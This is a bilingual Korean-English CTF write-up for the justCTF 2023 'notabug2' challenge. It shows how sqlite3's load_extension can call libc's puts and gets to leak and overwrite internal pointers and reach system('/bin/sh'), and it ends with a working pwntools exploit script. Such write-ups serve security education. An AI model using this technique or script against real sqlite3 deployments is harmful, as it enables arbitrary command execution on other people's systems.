[CTF write up] Just CTF 2023 - notabug2 : Exploitable Feature of sqlite3

2023. 6. 5. 02:18CTF write up

굉장히 난이도 있고 Tricky한 문제였지만, 팀원들의 도움으로 풀 수 있었다.

It was a very difficult and tricky challenge, but We were able to solve it with the help of my teammates.

 

sqlite3 interactive 쉘을 열어주며, .system과 같은 dot 커맨드를 제한한다. 

Opens an sqlite3 interactive shell and restricts dot commands such as .system.

select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');

sqlite3에는 위와 같이 Load_extension를 이용해서 외부 공유파일의 함수를 트리거하는 Feature가 존재하는데 이를 이용하여 취약점을 트리거 하였다.

sqlite3 has a feature that triggers the function of an external shared file using Load_extension as above, and this was used to trigger the vulnerability.

 

 

Load_extension는 먼저 pVfs->DLOpen(pVfs, zFile);을 통해 so 파일을 로드한다.

Load_extension first loads the so file through pVfs->DLOpen(pVfs, zFile);

 

이후 Dlsym으로 함수 주소를 가져오고 db 포인터를 인자로 함수를 실행한다. 인자를 조작할 수 없기 때문에 즉시 system 함수를 실행하는 것은 불가능하다. 그래서 gets 함수를 실행하고 db 포인터 내부의 값을 덮어서 Exploit 하였다.

Then, get the function address with Dlsym and execute the function with the db pointer as an argument. It is not possible to immediately execute the system function because the arguments cannot be manipulated. So, We should execute gets function and ovewrite db contents to exploit.

 

pVfs 값은 db 포인터 내에 있기 때문에 gets(db)를 실행하여 pVfs를 덮어버릴 수 있다. 그러면 call [r14+0x48]을 이용하여 임의의 함수를 실행시킬 수 있게 된다. 문제는 puts(db)를 통해 pVfs 포인터 밖에 유출할 수 없는데, 메모리 쓰기는 heap에만 가능해서, heap brute force가 필요하다.

 

아무튼 아래와 같이 heap 주소를 가져와서 Exploit을 할 수 있고, remote를 Exploit 할때는 pie_base에 임의의 offset을 붙여 heap_base로 설정하고 1 / 0x2000 확률 brute force를 하면된다.

 

Load_extension의 인자로 바이너리 내에 있는  'mov rdi, rax; call system' 가젯의 값을 주고 두번째 인자에 '/bin/sh'를 주어서 rdx->system_gadget, rax->ptr->'/bin/sh'로 만들어주고 db 포인터 내에 call [rdx] 가젯을 넣은다음 pVfs를 해당 가젯이 적힌 주소에 맞춰주면 스택정렬이 된 상태에서 system("/bin/sh");를 실행시킬 수 있다.

 

Since the pVfs value is in the db pointer, we can overwrite pVfs by running gets(db). Then, you can execute an arbitrary function by using call [r14+0x48]. The problem is that only the pVfs pointer can be leaked through puts(db), but memory writing is only possible on the heap, so heap brute force is required.

Anyway, you can exploit the heap address as follows, and when you exploit the remote, set it as the heap_base by attaching an arbitrary offset to pie_base and perform brute force with a probability of 1 / 0x2000.

As a factor of Load_extension, 'mov rdi, rax; After giving the value of the 'call system' gadget and giving '/bin/sh' as the second argument, make it rdx->system_gadget, rax->ptr->'/bin/sh' and put the call [rdx] gadget in the db pointer If pVfs is set to the address of the gadget, system("/bin/sh"); can be executed in the state of stack alignment.

 

from pwn import *

#p = remote('notabug2.nc.jctf.pro', 1337)
p = process(["./sqlite3","--interactive"])

fd = open(f'/proc/{p.pid}/maps')
maps = fd.read()
maps = maps.split('[heap]')[0].split('\n')[-1]
heap = int(maps[:12],16)
print(hex(heap))
raw_input()


p.sendline(b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")
lic = u64(p.recvuntil([b'\x55',b'\x56',b'\x54',b'\x57'])[-6:].ljust(8,b'\x00'))

pie_base = lic - 0x1589a0
system_plt = (pie_base+0x2228C)
heap1 = 0x1590 + heap

print(hex(pie_base)) #lic+0x28b8

p.sendline(b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")
p.sendline(p64(heap1-0x48+0x10)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))

p.sendline(b"select Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")

#0x973d0
p.interactive()

 

최종 익스플로잇은 추가적으로 offet 수정등이 이루어졌다.